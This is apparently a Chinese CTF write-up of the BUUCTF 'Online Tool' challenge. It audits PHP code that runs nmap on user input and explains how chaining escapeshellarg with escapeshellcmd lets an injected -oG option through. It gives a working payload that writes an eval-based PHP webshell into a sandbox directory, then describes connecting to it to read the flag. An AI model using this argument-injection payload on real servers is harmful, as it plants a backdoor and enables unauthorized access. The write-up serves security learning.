打开题目
我们代码审计一下
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
如果存在xxf头且不为空,则将xxf头内容(真实的客户端ip)赋给ROMOTE_ADDR(代理服务器传过来的ip地址)
这段代码主要是为了处理通过代理服务器访问网站时获取正确的客户端IP地址
这里需要注意的地方:
1.没有对XXF的值进行过滤,可能存在XXF注入攻击
2.XXF
头部可以被客户端伪造
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
如果get姿势传入的host为空,则会使用highlight_file(__FILE__)
函数来将当前文件的源代码高亮显示输出。
else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
如果get姿势传入的host值不为空,则用escapeshellarg函数处理get传入的host值,再交由escapeshellcmd函数处理
将字符串glzjin和ROMOTE_ADDR连接以后进行md5加密然后赋值给沙盒,并输出you are in shadbox和md5加密拼接后的内容
@mkdir
函数创建以MD5散列值为名称的目录。@
符号用于抑制可能的错误消息。
使用 chdir
函数将当前工作目录更改为新创建的沙盒目录。
使用 system
函数执行 nmap
命令扫描host值,-T5设置扫描速度,-sT设置tcp连接扫描,-Pn设置绕过ping扫描,--host-timeout 2
: 这个参数用于指定主机超时时间,即等待主机响应的最大时间。在这里,设置为2秒,表示如果在2秒内没有得到主机的响应,扫描将超时。-F
: 这是指定使用快速扫描模式的参数,-F
表示使用快速模式,仅扫描最常见的100个端口。这有助于减少扫描的时间和资源消耗
函数escapeshellarg的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
函数escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
所以总结思路
- HTTP_X_FORWARDED_FOR的会获取真实的客户端ip值会和glzjin一起md5加密作为我们后续上传webshell的路径
- GET传入host参数通过此传参点来利用nmap上传文件(-oG)
127.0.0.1 ' -oG 经过escapeshellarg处理变成 ' 127.0.0.1 ' \ ' ' -oG ' (分成两部分)
'127.0.0.1 ' \ ' ' -oG ' 经过escapeshellcmd处理变成 '127.0.0.1 ' \\ ' '-oG \ ' (将不成对的单引号及任意\
进行添加\
的操作)
所以我们的payload应该为
/?host=' <?= @eval($_POST["hack"]);?> -oG hack.php '
通过host传入后还返回了这个sandbox的值
我们蚁剑连接一下
蚁剑连接的目录为
sandbox+一句话木马名
在sandbox上也能发现我们几次测试传上去的木马
在根目录下找到了flag
知识点:
REMOTE_ADDR
表示发出请求的远程主机的 IP 地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP
x_forwarded_for
简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项,正如上面所述,当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP
mkdir
表示如果当前路径下不存在该目录(文件夹),则新建该目录(文件夹)。
语法结构:$ mkdir [选项] [目录]
如:mkdir test //在当前路径下新建一个test文件夹
chdir()
chdir函数用于改变当前工作目录
nmap命令
nmap -T1~6 192.168.96.4 //设置扫描速度,一般T4足够。
nmap -sT 192.168.96.4 //TCP连接扫描,不安全,慢
nmap -Pn 192.168.96.4 //目标机禁用ping,绕过ping扫描
--host-timeout 2
: 这个参数用于指定主机超时时间,即等待主机响应的最大时间。在这里,设置为2秒,表示如果在2秒内没有得到主机的响应,扫描将超时
-F
: 这是指定使用快速扫描模式的参数,-F
表示使用快速模式,仅扫描最常见的100个端口。这有助于减少扫描的时间和资源消耗
-oG
选项用于生成可读性强的、以普通格式表示的输出。
使用 -oG
选项时,可以将扫描结果保存到一个文本文件中,然后使用其他工具或脚本对该文件进行进一步的分析。这个选项的输出包含有关主机、端口和服务的信息,以及它们的状态(开放、关闭、过滤等)
例如; nmap -oG output.txt target //将扫描名为 "target" 的目标,并将结果保存到名为 "output.txt" 的文件中
知识点源于:https://www.cnblogs.com/luxiaojun/p/10451860.html
Nmap常用命令总结_nmap 命令-CSDN博客
[BUUCTF 2018]Online Tool1-CSDN博客